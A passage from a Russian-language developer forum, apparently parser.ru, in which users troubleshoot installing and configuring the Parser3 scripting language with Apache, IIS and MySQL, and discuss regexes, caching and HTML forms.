После чего в httpd.conf по инструкции прописываю:\
\
# динамическая загрузка модуля\
LoadModule parser3_module x:\\path\\to\\ApacheModuleParser3Debug.dll\
Внимание: если необходимо, поместите сопутствующие файл в тот же каталог.\
\
Прописываю именно после прочих LoadModule.\
Сразу два вопроса:\
Первый - ведь синтаксис конфигурационных файлов Apache позволяет в путях только прямые слэши, почему в документации написано с обратными?\
Второй - нужны ли кавычки на манер: LoadModule parser3_module \"x:\\path\\to\\ApacheModuleParser3Debug.dll\"\
И третий - почему название модуля приводится как ApacheModuleParser3Debug.dll, когда он ApacheModuleParser3.dll?\
\
Ну да ладно, вернусь к делу.\
Далее прописываю:\
# добавление модуля к списку активных модулей\
AddModule mod_parser3.C\
делаю это именно после прочих AddModule.\
\
Создаю файл .htaccess в корне сайта (/www) и пишу туда:\
# назначение обработчиком .html страниц\
AddHandler parser3-handler html\
\
# задание Конфигурационного файла\
ParserConfig x:\\path\\to\\parser3\\config\\auto.p (Снова вопрос про слэш...)\
\
# запрет на доступ к .p файлам. основной: auto.p\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Все пути пробовал и виртуальными, и относительными и абсолютными.\
Эффекта нет.\
\
Так вот, кладу в корень сайта _test.html переименованный в index.html, запускаю Apache и MySQL, и пробую открыть хост. Ничего. \
Либо окно-сообщение \"не могу открыть узел\", либо просто страница недоступна.\
Пробую открыть по пути хост/www/other/_test.html - ничего.\
\
При этом наблюдается:\
1. через минуты две после запуска Apache он вылетает - пропадает иконка с таскбара.\
2. http://localhost/ тоже не доступен.\
3. При попытке перезапуска Apache очень долго (25-35сек) завершает работу.\
\
В логах пусто...\
\
Я и CGI ставил - всё одно... \
\
Где я не прав?\
Подскажите где грабли, и куда они мне влезли? Я уже ума не приложу..."
"11961","Вот именно, что я хочу без букв, а с предложенной конструкцией буквы туда можно пропихнуть, а их там совсем не надо :)\
и ничего я больше не хочу :))))))"
"11962","Я думал, как без регеспов, пробовал с помощью is - но чегото не понял...\
Спасибо за ответ...!"
"11963","Раз 15 наверное ставил парсе на разные серваки а теперь вот с таким столкнулся.\
Выдает мне оно \"http://server.ru/cgi-bin/parser3.cgi/index.html not found\"\
Хотя все ставил \"по чертежу\" и все лежит на своих местах.\
Да и сервак под РэдХэт 7.2\
Прямо не знаю шо такое :("
"11964","большое спасибо"
"11965","Страница у меня состоит как бы из двух разделов: левая колонка и правая. В левой колонке у меня отображается календарь по умолчанию текущего месяца, а в правой отчет по умолчанию на текущий день, который формируется из базы данных. Я хочу сделать так, чтобы при выборе определенного дня в календаре (при клике на него) в правой колонке отображался соответствующий отчет. Как мне это сделать? Проблема состоит в том, чтобы узнать на какой день кликнул пользователь."
"11967","См. урок №4 - там же все ОЧЕНЬ подробно разъяснено...\
как раз такая ситуация..."
"11968","Поскольку класс статус у меня не работает, то задаю вопрос вам.\
Если я сайт разобью целиком по процедурам, вплоть до упрятывания групп тегов в процедуру, скорость загрузки страницы у меня упадет или останется неизменной?\
\
@trSelect[txt;name;tab]\
$result[\
<tr>\
<td class=\"$tClass\" bgcolor=\"$bgColor\">$txt^:</td>\
<td class=\"$tClass\" bgcolor=\"$bgColor\" align=\"left\">\
<select name=\"$name\">\
^tab.menu{<option ^if($tab.row eq $vac.$name){selected}>\
$tab.row</option>}\
</select>\
</td>\
</tr>\
]"
"11969","ну понятно, что чуть упадёт -- вызов процедур ведь и инклуды. но не думаю, что ты это заметишь."
"11970","Из-за чего может возникать такая ошибка\
driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module\
./lib/libparser3mysql.so\
Точно не из-за того что файла нет в данной дирректории. Проверял. Если его переименовать, то часть сообщения о том что driver failed исчезает."
"11971","он у вас либо не считывается, либо в нем неправильно указаны пути к модулям.\
\
Не считываться он может потому что, он лежит не рядом с парсером и директива ParserConfig - для модуля или SetEnv CGI_PARSER_CONFIG для cgi не указывают на его реальное местонахождение.\
\
Возможно конфиг просто не существует."
"11972","1. установил апач 2.0.40 --- работает, все отлично (localhost)\
2. установил парсер (parser3_3_0_0007.exe), директорию с сервером он нашел и я ничего не менял.\
3. написал все как надо в my.htaccess\
4. поставил в httpd.conf --- AccessFileName my.htaccess\
5. положил index.html, auto.p, sections.cfg в htdocs\
6. пишу в эксплорере localhost и такой результат:\
^navigation[]"
"11973","1. Не меняйте в httpd.conf строчку с  AccessFileName - т.е. оставьте её по-умолчанию (AccessFileName .htaccess)\
\
2. В тегах Directory для вашего хоста/виртуального хоста напишите AllowOverride all\
\
3. Положите парсер, его конфиг и необходимые библиотеки в cgi-bin\
\
4. Посмотрите тег Directory для вашего cgi-bin - там должно быть Options ExecCGI или Options All\
\
5. В .htaccess вашего сайта напишите:\
[code]\
AddHandler parser-handler .html\
Action parser-handler /cgi-bin/parser3.exe\
SetEnv CGI_PARSER_CONFIG c:/path_to_cgi-bin/cgi-bin/auto.p\
[/code]\
\
6. Последняя версия 2-го Apache 2.0.44\
\
7. Читайте доку по конфигурированию Apache"
"11974","Можно по подробнее о .htaccess?"
"11975","я же написал то в нем надо писать, думаю несложно догадаться как его модифицировать для себя по моему примеру"
"11976","И все-таки: я назвал файл my.htaccess,\
положил его в папку Apache 2?"
"11977","и стоит сделать как сказано. Прежде чем отходить от правила, надо понимать что делаешь, - у вас понимания не видно. Не пытайтесь сразу охватить всё, так не бывает, знания добываются послойно."
"11978","файл .htaccess нужно класть в корень сайта."
"11980","http://www.rusonyx.ru - их технологию VPS можно использовать чтобы поиметь полноценную UNIX-машину в сети? Можно-ли будет собирать Парсер из исходников как модуль к Апачу и т.п.? Они говорят, что кто-то уже пользует у них Парсер...\
\
Выскажите мнение..."
"11983","В целях дебуга хочу знать, какие запросы уходят в MySql\
[code]\
#Долго и нудно собираем sqlstr из разных мест: $form:, $env:, прочее.\
  $sqlstr[....]\
^dbconnect{\
  ^void:sql{$sqlstr}\
  Мы только что сделали такой запрос: ^taint[sql][$sqlstr]\
}\
[/code]\
А в ответ получаю unhandled exception: \"untaint in SQL language failed - no connection specified\". \
Что я делаю не так?"
"11984","...если тебе интересно как это делаю я, то это давно есть тут:\
\
http://parser.ru/examples/comp/\
\
там классы, в которых есть и такой функционал (а для mysql кроме всего прочего еще и explain делается).\
\
если что-то будет не понятно из написаного - спрашивай сюда или в мыло."
"11985","В статье http://www.parser.ru/examples/trees/ описано как строить дерево.\
Данные из базы получаю, дерево строится.С этим все ясно, разобрался. Остался один вопрос как эти данные поместить в базу, а точнее связать данные во второй таблице с данными из первой.\
Я понимаю что данные связываются между собой по полю [b]forum_message_id[/b], но в первой таблице оно имеет тип \"AUTO_INCREMENT\", а во вторую таблицу данные в это поле необходимо заносить самому.\
Подскажите какой должен быть запрос к MySQL на добавление записей, чтоб \
1. эти поля были идеентичны.\
2. и в случае если сообщение без текста во вторую таблицу чтоб совсем ничего не заносилось.\
хотя на счет п. 2 я думаю можно сделать так\
[code]\
^if(def $form:body){\
   ^void:sql{INSERT INTO forum_message (forum_message_id,body)\
 VALUES ($message_id,$form:body)}\
}\
[/code]"
"11986","просто повесь на него уникальный индекс и всего делов.\
\
запрос у тебя в принципе правильный, но не совсем, $form:body надо в кавычки взять: '$form:body'"
"11987","Задача, есть слово на русском языке требуется разобрать его по составу слова, сначало решил попробывать что-то простое разобрать, например слово 'мальчиком' и сразу наткнулся на проблему:\
\
[code]\
 (рас|пре|при)?(\\w+)(чик|ушк|к)(оми|о|и)\
[/code]\
\
корень - мальчи, суффикс - к, окончание - ом\
\
Проблема в том что часть суффикса чик попала в корень, компьютер конечно не виноват он пытается как можно меньше времени затратить на разбор и начинает перебор с самых коротких суффиксов, как сделать так чтобы он переберал в том порядке в котором записаны суффиксы: сначало -чик-, потом -ушк- и в конце -к-."
"11988","[code]\
(рас|пре|при)?(\\w+[b]?[/b])(чик|ушк|к)(оми|о|и)\
[/code]\
\
В данном случае поможет, вообще -- вряд ли... Мой Вам совет: не тягайтесь с великим и могучим."
"11989","В PCRE не производится оптимизация строк в шаблонах конструкций вида (абв|где|ж)\
\
Тут по моему тебе мешается \"жадность\", из-за которой механизм обработки шаблонов пытается под конструкцию (\\w+) отхватить ВСЕ, и лишь потом потихоньку отдает по буковке, каждый раз ища заключение. Поэтому подходит символ 'к'\
\
Возможно, тут тебе поможет (\\w+?), а возможно и нет, я не обдумывал это...\
\
Чтобы понять как работает данный механизм на таком, достаточно глубоком уровне, покупай книжку и изучай ее, тут просто ответами в форуме не обойтись. Ты замахнулся на очень большую задачу."
"11992","Я хостил все у себя на сервере ( win32 Apache ). Теперь есть необходимость перенести все на хостинг. Все вроде сделано правильно, и вот что я вижу в логе Apacha \
[Thu Jan 23 21:30:13 2003] [error] [client 213.252.96.154] File does not exist: /home/bakkara/html/cgi/parser3/parser3.cgi/index.html \
Извиняюсь если, что но *nix е я не очень. Подскажите с чего начать.. Без Парсера index.html находится легко..."
"11994","Когда пишу ^таблица.locate[столбец;искомое_слово] Parser3 выдает: \"contains illegal assignment attempt of bool to MAIN method_frame, use constructor  type: parser.runtime\". А вот если ^if(^таблица.locate[столбец;искомое_слово]){ требуемые действия }{ в таблице ничего не найдено } - то все работает.\
Таблица загружается из базы access (ODBC-драйвер). Что бы это значило, мучился три дня, пока не выяснил в чем дело."
"11995","и в доке http://parser.ru/docs/lang/tablelocate.htm про это сказано:\
[quot]\
Метод ищет в указанном столбце значение, равное искомому и возвращает логическое значение «ИСТИНА/ЛОЖЬ» в зависимости от успеха поиска. \
[/quot]"
"11996","parser.cgi в Binary mode заливал?"
"11997","Отписал суппорту. Админ все исправил. Точно не знаю, но по-моему что-то связанно с компиляцией mysql."
"11998","С путями все впорядке. Поскольку Сайт грузился, если из него убрать все обращения к БД.\
А проблема решилась после письма в суппорт.\
http://www.parser.ru/forum/?id=11997"
"11999","Всю ночь мучился, а оказалось что надо было просто написать как должно быть \\bin-cgi\\parser3.cgi, а не как реально он расположен cgi\\parser3.cgi. И вот только теперь мне удалось увидеть, как выглядит ошибка 500 ... Теперь я уже не знаю что делать. Вот, что пишетется в логах\
parser3.cgi: error in loading shared libraries: libstdc++-libc6.2-2.so.3: cannot open shared object file: No such file or directory\
[Fri Jan 24 14:03:51 2003] [error] [client 213.1.1.1] Premature end of script headers: /home/test/cgi/parser3/parser3.cgi\
Есть мнения ?"
"12000","мы специально собираем без ссылок на эту библиотеку, чтобы не было таких проблем."
"12001","Как где .. Вчера и скачал с сайта www.parser.ru/download/ ... Потом мне админ хостинга прямо там распаковал и по папкам положил"
"12002","полные url скачанных файлов? пойду и посмотрю, не закралось ли куда (навскидку поискал, нигде упоминаний не нашёл, но просмотрел не 100% файлов)"
"12003","Действительно, я \"в запарке\" не обратил внимания, что он возвращает булевое значение. Задача была найти строку и сделать ее текущей.\
Вообще большое спасибо не только за Parser, но и за полноценную поддержку."
"12004","http://parser.ru/f/1/download/redhat72/parser3_3_0_0007_redhat72\
\
раздел http://parser.ru/download/redhat72/\
\
Если не тяжело, может кто кинет мне в мыло без статики...\
prepress@mail.ru"
"12005","это не полные url скачанных файлов. это 404 какой-то.\
так что не могу сам посмотреть.\
\
посмотрите сами:\
в вашей консоли\
[code]\
$ ldd parser3.cgi\
{что скажет?}\
[/code]\
\
по-идее, не должен упоминать libstdc++, если упоминает, давайте разберёмся."
"12006","http://parser.ru/f/1/download/redhat72/parser3_3_0_0007_redhat72_cgi.tar.gz\
\
А в консоли я не могу, т.к. нету такого доступа"
"12009","vlibdl.so.2 => /lib/libdl.so.2 (0x40017000)\
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x4001b000)\
        libstdc++-libc6.2-2.so.3 => not found\
        libm.so.6 => /lib/libm.so.6 (0x40052000)\
        libc.so.6 => /lib/libc.so.6 (0x4006f000)\
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)\
"
"12010","киньте мне в мыло prepress@mail.ru\
Заранее благодарен"
"12012","ета самое я чёта недоразбирался как заменить перевод строки на <бр>\
\
есть код\
$rep[^table::load[/zamena.cfg]]\
^process{^rabtext.replace[$rep]}\
\
файл /zamena.cfg\
1)\
from	to\
char(10)	<br>\
char(13)	<br>\
\
2)\
from	to\
\\x0D	<br>\
\\x0A	<br>\
\
Не в первом не во втором случае нихера непашет. Неводскажете как должен выглядеть zamena.cfg"
"12013","извините за хер\
:)"
"12014",":)\
сам работаю с денвером.помоему, парсер там пишет без какихлибо дополнительных настроек.\
\
Устанавлваешь базовый комплект патом устанавливаешь сам парсер (скаченный оттудаже) и всё пашет.:))\
"
"12015","смотрим в FAQ:\
\
[b]А как в таблицу замен для ^строка.replace[$таблица_замен] добавить символы перевода строки или табуляции? Конструкция $repl[^table::create[nameless]{^#0A <p>}] приводит к выдаче сообщения об ошибке.[/b]\
\
И правильно приводит к сообщению об ошибке. Дело в том, что ^#0A эквивалентно написанию символа перевод строки. Таким образом мы создаем таблицу, у которой первая строка созданой таблицы ничего не содержит. Для того, чтобы парсер не воспринимал этот символ как tab-delimited разделитель при конструировании таблицы, он должен быть \"грязным\". Напишите например так: \
\
[code]$repl[^table::create[nameless]{^taint[^#0A]	<p>}][/code]\
\
и после выполнения метода ^my_string.replace[$repl] все символы перевода строки будут заменены на <p>"
"12016","Поставил парсер версии 3.0007\
и при использовании внешнего скрипта\
$f[^file::exec[/../cgi-bin/images.pl;\
$.DESTINATION_PATH[/home/estilla/www/kp.ru/market/images/]\
$.SOURCE_PATH[/home/estilla/www/kp.ru/market/images/]\
$.IMAGE[$picture]\
]]\
появилась ошибка\
not safe environment variable\
IMAGE\
Как от нее избавиться?"
"12017","http://parser.ru/docs/lang/filecgiexec.htm\
\
[quot]\
Внимание: можно задавать только стандартные CGI переменные окружения и переменные, имена которых начинаются с CGI_ или HTTP_. \
[/quot]"
"12018","Можно ли зделать на Парсере сабжжжж????...."
"12019","Вот в денвере 2 добавляю в auto.p классы а они не пахають...."
"12020","Или ты думаешь, что форум на parser.ru сделан на чем-нибудь еще? ;)"
"12021",":)\
Слава Богу, хоть кто-то живой тут есть! :)\
\
Спасибо конечно, но я не понял, что в  имели введу.\
\
Ставим Денвер.\
Потом Парсер (модуль для Apache?). Куда парсер ставим, в localhost?\
И ничего конфигурировать не надо?\
\
Умаляю, чуть подробней, если можно всю процедуру установки? Можете на grzr@rambler.ru если удобнее.\
Спасибо!"
"12022","вот их начало http://www.parser.ru/forum/?id=11992\
\
Не много помог случай. Нашел как-то давно скачанный бинарник  parser3_3_0_0005_redhat72_cgi.tar.tar. Залил его на сервер .Что-то заработало , что-то нет ( код писался под апач вин32 версия парсера 3_0_0007). Понять что не работает - тяжело, т.к. на хостинге почему-то не пишется лог парсера ( на моем нотбуке под апач и вин32 лог пишется ). Вопрос, как сделать так, что бы все-таки видеть это лог, или  узнать, в чем ошибка ? В логе апача только ошибка скрипта и все"
"12023","существует Парсер в виде [url=\"http://dklab.ru/chicken/web/packages/parser.html\"]модуля к Денверу[/url], его и надо ставить в этом случае."
"12024","$f[^file::exec[/../cgi-bin/images.pl;\
$.[color=\"red\"]CGI.[/color]DESTINATION_PATH[/home/estilla/www/kp.ru/market/images/]\
$.[color=\"red\"]CGI.[/color]SOURCE_PATH[/home/estilla/www/kp.ru/market/images/]\
$.[color=\"red\"]CGI.[/color]IMAGE[$picture]\
]]\
В примере я тоже это уже поправил, и в документации это описано."
"12025","Устали люди от типичных PHP форумов, захотелось что-то новое. И самый яркий и прямой пример тому, форум Parser.ru"
"12027","Что по вашему тогда ЭТО\
взято из раздела [url=\"http://www.parser.ru/powered_by_parser/\"]в действии[/url] \
\
http://forum.gfk.ru/forum/last/index.html\
http://opg.ru/forum/\
"
"12028","Их можно видеть и в броузере, для этого нужно, как уже не раз упоминалось [url=\"http://parser.ru/forum/?id=11090\"]тут[/url] и в [url=\"http://parser.ru/docs/lang/exceptionunhandled.htm\"]доке[/url] отредактировать конфигурационный auto.p (тот, что рядом с парсером) или тот, в котором у вас собственно вызывается метод unhandled_exception, и сделать так, чтобы он передавал управление методу unhandled_exception_debug, а не unhandled_exception_release."
"12029","Unhandled Exception \
[code]\
'/usr/sbin/sendmail' reported problem: sendmail: fatal:\
open /usr/local/etc/postfix/main.cf: Permission denied\
 (1)\
send\
[/code]\
как быть прав то нехватает"
"12030","\
http://www.parser.ru/forum/?id=8376"
"12031","Не было прав на чтение"
"12032","Это довольно интересная мысль.\
Студия Артемия Лебедева разрешает пользоваться Парсером, иконками для WinXP, плакатами, типографим и т.д. Почемубы не разрешить пользоваться интерфейсами? Но всёже нужно дождаться или, если не терпится, спросить на это разрешения. Зачем тихо копировать?"
"12033","я вижу что в низу страницы есть копирайт. Если нельзя отключу и буду переделывать интерфейс."
"12034","Я не говорю, что нельзя, но и не утверждаю обратного. Такие вещи, как я думаю, нужно спрашивать у людей, указанных в разделе \"авторы\". А мне всё равно -- я этот интерфейс не придумывал (но он мне нравится)."
"12035","А где мне исходники взять???"
"12037","но лог все-таки не плохо иметь.. Пользователям не к чему видеть ошибки, там слишком много интересного бывает. \
ЗЫ: Михаил, а у Вас нет случайно \"правильного\" бинарчика, а то вот этот  http://www.parser.ru/f/1/download/redhat72/parser3_3_0_0007_redhat72_cgi.tar.gz без библиотеки...... :-("
"12038","Win2000 + IIS 5.0 \
\
под NTFS папка в секьюрити всем на чтение , на вебшаре у всех права на чтение + браузинг \
\
$list[^file:list[/вебшара]] \
^list.menu{ \
$list.name<br> \
} \
спиcок пустой $list.count - 0\
\
таже ситуация с ^file:find - результат - файла нет\
в лоб указываю имя файла - нормально\
\
Я так понимаю где то нет права доступа на чтение каталога - но со стороны вебсервера всё открыто.\
\
Ткните мне пжалста где я чего не понимаю :(((\
\
parser версия 3.3....06\
\
"
"12039","У меня на win32 .htaccess, без имени файла не пишется! Что делать?"
"12042","Благодарствую, уважаемый! :)\
Будете у нас на Колыме - милости просим! :D"
"12043","Прошу помощи.\
Вот в том же примере №1 для отличия и немаркировки одного из разделов меню используется $request:uri.\
А как извратиться, чтобы определить что, к примеру, каталог mail вложен в каталог about (/about/mail) и не убирать маркировку раздела в меню?\
Спасибо!"
"12044","Где-то был приведён пример того, как сделать текстовый счётчик для страницы. А вот, нашел: http://www.parser.ru/examples/counter/\
\
И там для каждого файла создаётся свой файл отчёта\
\
а вот нельзя ли как-нибудь так сделать, чтобы все отчёты писались в один файл?\
\
Например: файл all.count\
index.html - 7\
base.html - 5\
404.html -172\
"
"12045","Если начинать философствовать, то вообще стоит задуматься о необходимости этих самых счетчиков.\
\
Если очень приспичит - то все можно хранить в одном файле (с незначительными изменениями) или в базе данных, однако в случае хранения в одном файле следует не забывать, что обращения к этому файлу на чтение/запись будут происходить при запросе любой странички сайта, что будет способствовать его постоянной блокировке... Дальше додумывайте сами... "
"12047","в мускле есть таблица с полем company, когда достаю из этой таблицы запись, все поля видны нормально, а при обращении к полю company - вылазит ошибка:\
column not found\
сompany\
\
Объясните, чего?\
"
"12048","^if(in ...){...}{...}"
"12049","1. Какая таблица?\
2. Каким запросом достаете?\
3. Как обращаетесь к полю?\
\
Для вас это очевидно, для нас нет, мораль - вопрос надо задавать правильно."
"12050","Конечно можно и в одном файле...\
(о необходимости - см. Misha v.3 27.01 00:09)\
Создаешь таблицу и сохраняешь в файле (два столбца - $request:uri и количество обращений, в простейшем случае).\
Я когда-то так реализовывал... работало..."
"12051","jedem das seine - было написано над воротами Бухенвальда. Для типичных home pages это важнейший элемент дизайна."
"12052","Меня интересуеют остальные параметры, включая что надо указать в параметрах виртуальных хостов и права доступа к каталогам этих хостов"
"12054","Хочется получать XHTML из XML, однако не могу получить это с использованием метода transform. Делаю так:\
[code]\
^transformed.string[\
	$.method[xml]\
	$.doctype-public[Все что угодно]\
	$.indent[no]\
	$.encoding[$response:charset]\
	$.omit-xml-declaration[no]\
]\
[/code]\
\
Получаю вывод с XML декларацией, однако без DTD и с UNICODE подставноками вместо русских букв в значениях атрибутов.\
\
В связи с этим есть 2 вопроса.\
\
1. Как добавить строчку с DOCTYPE в документ формируемый из XML c помощью XSLT трансформации?\
2. Можно ли вместо Unicode иметь русские буквы(в windows-1251) в названиях атрибутов?\
"
"12055","^connect[$MAIN:mysql_connect]{\
   $rekvizits[^table::sql{select * from user_balans natural left join balans where user_id = '$cookie:user'}]\
}\
\
\
<table cellpadding=5 cellspacing=0 border=0 align=center width=100%>\
<caption class=title>Реквизиты</caption>\
<form action=\"$env:script_name\" method=post>\
   <tr>\
      <td>Компания: </td>\
      <td><input type=text name=firma value='$rekvizits.firma'></td>\
   </tr>\
   <tr>\
\
там где firma было company. Так работает, а с company - нет."
"12056","сколько копий сломано на эту тему - нельзя использовать такие запросы, потому что вы не видите какие столбцы выбираются и можете об этом только знать если знаете структуру базы, а если над проектом работают несколько человек и не все знают как устроена база? Такие запросы приводят к нечитабельному коду и являются рассадником ошибок. Если вам говорится что такого столбца нет, значит его нет."
"12057","вообще-говоря, эта либа присутствует на машинах, настроенных по-умолчанию. возможно, ваш админ куда-то её задевал?\
\
спросите его для начала?\
\
parser ссылается на libstdc++.so.3, почему ваш ldd показал там другое имя, это не вполне ясно, но это не суть важно."
"12058","Самое интересное, что я нашел винарик весии 005 и все заработало. Правда часть кода прилось переписывать... Вообщем я спрошу у Админа про либу. Хотелось бы все-таки иметь версию 007"
"12059","Есть задачка: организовать передачу некоей функции большого числа параметров, которые не меняют алгоритма, а касаются, к примеру, оформления вывода результатов (цвет, шрифт и т.д.). Типичный случай - навигация, календарь и т.п.\
Хочется добиться того, чтобы без передачи параметров использовалось значение (оформление) по умолчанию, а переданный параметр имел приоритет перед дефолтным.\
\
Я сделал это так:\
\
@t_table[tablename;param1]\
#В теле функции определяю хеш с default значениями\
$param[\
	$.table[border=0 cellSpacing=1 cellPadding=0 width=100% align=center bgColor=#999999]\
	$.tr[bgColor=#FFFFFF] \
	$.td[align=center noWrap]\
	$.td_nocontent[bgColor=#999999]\
#	если попался неизвестный ключ хеша - применяем таблицу стилей default\
	$._default[class=default]\
]\
# если были переданы иные параметры (через хеш param1), \
# заменим ими дефолтные значения\
^if(def $param1){\
   ^param.foreach[key;value]{ \
	$param.$key[^if(def $param1.$key){$param1.$key}{$param.$key}]\
   }             \
}\
# ну и сама функция\
...\
<table $param.table>\
<tr $param.tr>\
	<td $param.td>$content</td>\
...\
	<td $param.td_nocontent>&nbsp^;</td>\
</tr>\
</table>\
\
Можно, конечно, сделать это \"правильнее\" - через CSS и везде писАть типа <td class=\"$default_CSS_name\">.\
Меня смутили исходники ArtLebedevStudio-страниц - бОльшая часть параметров оформления определяется в тегах, а не через CSS. Кроссбраузерность, однако... :-$\
\
А теперь, внимание, - вопрос:\
Скажите что-нибудь плохое про такой подход :-)\
Может быть, есть более красивый (\"спортивный\") вариант? \
\
Прошу прощения за целый hash вопросов, но очень хочется писАть код \"в духе Parsera (с)PAF\" :-).\
\
"
"12060","Добрый час уважаемые.\
Меня беспокоит следующая проблема.\
Нужно следующие:\
\
Форму записать в форму. Я пишу так:\
[code]\
<FORM name=\"form1\" action=\"/1/\">\
<INPUT type=\"text\" name=\"name1\">\
<INPUT type=\"text\" name=\"name2\">\
\
<FORM name=\"form2\" action=\"/2/\">\
<INPUT type=\"text\" name=\"name5\">\
<INPUT type=\"text\" name=\"name6\">\
<INPUT type=\"Отправить форму\">\
</FORM>\
\
<INPUT type=\"text\" name=\"name3\">\
<INPUT type=\"text\" name=\"name4\">\
<INPUT type=\"Отправить форму\">\
</FORM>\
[/code]\
\
Нужно, чтобы формы отправляли только свои данные, но получается каша.\
Что вы можете мне подсказать?\
Мне желательно именно использование нескольких форм, а не одной.\
За ранее спасибо."
"12061","для тегов table использование атрибутов border=0 cellSpacing=1 cellPadding=0 width=100% нормально, даже в XHTML это разрешается, для td, tr, th лучше использовать CSS, думаю все браузеры 5+ это переварят нормально. А исходники Студии не должны рассматриваться как стандарт и также не следует им поклоняться."
"12062","Повторно возвращаюсь к настройкам времени кеширования. Напомню суть вопроса:\
#\
# Q3: Как определить оптимальное время кеширования?\
#\
На http://parser.ru/examples/cache есть пример организации кеширования сайта, где можно делать индивидуальные настройки времени обновления кеша для каждой страницы.\
В примере Misha v.3. предлагает как default период в 1 час. Для других случаев можно установить произвольное время замены кеша \"не первой свежести\".\
\
Почему-то очень хочется знать :-), берется ли это значение \"с потолка\" или же оно может быть рассчитано, исходя из - к примеру - нагрузки на сервер, посещаемости сайта и т.п.\
Подскажите, pls, что нужно принимать во внимание при установке этого времени? Может быть, существует некий алгоритм расчета?\
\
Вопрос-то ведь не праздный: зачем делать кеширование, если оно не будет реально оптимизировать работу сайта?\
\
Спасибо!\
"
"12064","Нет.\
Вы понимаете в чем дело. Там скрипт так написан, что нужно зделать одну большую форму, а в ней много маленьких."
"12067","имейте в виду, что parser под iis работает от имени iis_{имя домена}, у которого по-умолчанию прав немного.\
\
вы, очевидно, проверяете своим пользователем, и [b]вам[/b] что-то видно.\
\
или подумайте о ситуации с точки зрения пользователя iis_{имя домена}, или просто попробуйте поработать от его имени:\
\
[code]\
runas /user:iis_{имя вашего домена} explorer\
[/code]\
\
и посмотрите глазами, доступно ему желаемое вами, или нет."
"12068","Кто пользуется услугами означенной конторы? Сегодня потребовалось залить на хостящийся там сайт парсер, но версии и для FreeBSD и для Linux вываливают Error 500. Написал в саппорт, но подумал - вдруг кто уже пользовался их услугами и поможет советом раньше?"
"12069","возможно, вы неправильно понимаете, что ^file:list[/считает/корнем]\
\
как многократно писалось и написано в документации, / он считает DOCUMENT_ROOT.\
\
если DOCUMENT_ROOT=c:\\www.site.ru\
то ваш /webshare, это c:\\www.site.ru\\webshare\
\
возможно, в вашем веб-пространстве есть каталог, одноимённый тому, что в корне вашего диска, и вы просто путаете их? parser читает один[в веб-пространстве], а вы думаете, что другой[в корне диска]?"
"12070","могу добавить, что проблема происходит, скорее всего, из-за регистра имени колонки.\
\
дело в том, что SQL по стандарту не должен быть чувствителен к регистру имён. и это обычно так и есть. [конечно, бывают и исключения, скажем, имена таблиц в mysql чувствительны к регистру]\
\
с другой стороны, parser чувствителен к регистру.\
\
мы действуем на стыке: пока делаем запрос, можем имя колонки написать, как хотим. однако когда сделали запрос, извольте писать имя колонки так, как оно вернулось в ответ на запрос, иначе parser не найдёт колонку, отличающуюся от искомой регистром.\
\
имея в списке полей * мы получаем имена колонок не в понятном регистре, который видим тут же, а в том регистре, в котором создавали колонки: возможно, не в том, в каком ожидаем."
"12071","самое интересное, что вас вопрос подвиг меня немедленно провести давно откладывавшееся исследование «а зачем эта либа вообще нужна», и привёл к ощущению, что можно немного переделать, и она не будет нужна совсем.\
\
переделаю. сообщу."
"12072","проверьте?"
"12073","Таблица построена следующим образом:\
\
<FORM>\
Порядковые номера:\
1   <FORM><!-- Удалить и т.п. --></FORM>\
2   <FORM><!-- Удалить и т.п. --></FORM>\
3   <FORM><!-- Удалить и т.п. --></FORM>\
4   <FORM><!-- Удалить и т.п. --></FORM>\
<INPUT type=\"submit\" value=\"Изменить порядок\">\
</FORM>"
"12074","всё хорошо, могу только \
1. посоветовать оформить этот ^if(def… в оператор, и пользоваться им, чтобы не загромождать код. ведь вы не один такой метод собираетесь использовать...\
\
2. не забудьте объявить переменную локальной, если не хотите ловить забавные ошибки"
"12075","-"
"12076","проверил, никаких различий в выводе"
"12077","Спасибо за ответ - вполне согласен с вами по всем пунктам.\
\
Но, в общем-то, главный вопрос мой касался удобного и гибкого способа передачи параметров функции.\
Или, если мыслить \"глобальнее\", - как организовать разделение контента, оформления и алгоритма.\
\
Я вот кроме CSS еще три буквы знаю - XML ... :-) Тоже ведь - разделение содержания и оформления, но стоит ли заморачиваться на это в таких задачах, как моя?\
Или ограничиться специфическими средствами Parser'а?\
\
#\
Поделитесь, кто как делает ЭТО - все равно ведь многие пишут библиотеки функций (классы) под себя. \
#\
"
"12079","Да, спасибо, этот текст был приведен для примера, в реальном коде оба ваших совета реализованы.\
В продолжение темы - насколько сильно нагружают parser многочисленные проверки ^if() при таком подходе? Не теряем ли мы в эффективности кода приобретая гибкость и удобство программирования? "
"12081","я в cvs уже положил версию, в которой переехал на последние версии всех библиотек. возможно, там ситуация иная?"
"12083","конечно теряем, куда мы денемся.\
только в таком деле этих вызовов будут десятки, это милликопейки."
"12084","потому что пока сгружу(инет не быстрый), пока соберу ..."
"12085","уже пнул....но пака нет ответа.. А почему версия 005 там заработала ?"
"12086","во первых я всё прекрасно вижу, что выбирается, во вторых я пробовал и перечислять столбцы. в третьтих этот столбец есть. если изменить везде (и в базе и в коде company на firma например), то всё работает."
"12087","с регистром там всё ок. у меня открыта консолька mysql, так что я сразу всё проверяю. кроме того, я парсером ^mytable.columns[]  проверял, какие столбцы выбираются и столбец company там присутствовал. так что всё таки не понятно, откуда эта ошибка."
"12088","сложно сказать. не должна была :)"
"12089","1. Сделать несколько подряд идущих форм. \
2. Самую внешнюю форму поставить отдельно без пересечений, например после всех маленьких форм.\
3. В событии onsubmit() этой бывшей внешней формы собрать значения всех нужных полей из маленьких форм. После чего сделать submit()"
"12090","когда разберётесь, расскажите?\
\
если продолжаете упорствовать, что «у вас всё правильно»\
1. приведите код, как запрашиваете, и как обращаетесь посмотрим.\
2. приведите кусок с экрана, когда вы в консоли клиента запрашиваете и получаете данные."
"12091","А можно попдробней.\
Меня интересует именно JavaScript код.\
Я на клиенте почти не программирую.\
Вы не могли бы привести код?"
"12092","Хотите больше — приводите свой код.\
Нет — пытайтесь написать его, не получится — задавайте конкретные технические вопросы."
"12093","[code]\
<FORM name=\"form1\" action=\"/1/\">\
<INPUT type=\"text\" name=\"name1\">\
<INPUT type=\"text\" name=\"name2\">\
<INPUT type=\"text\" name=\"name3\">\
<INPUT type=\"text\" name=\"name4\">\
<INPUT type=\"Отправить форму\">\
</FORM>\
\
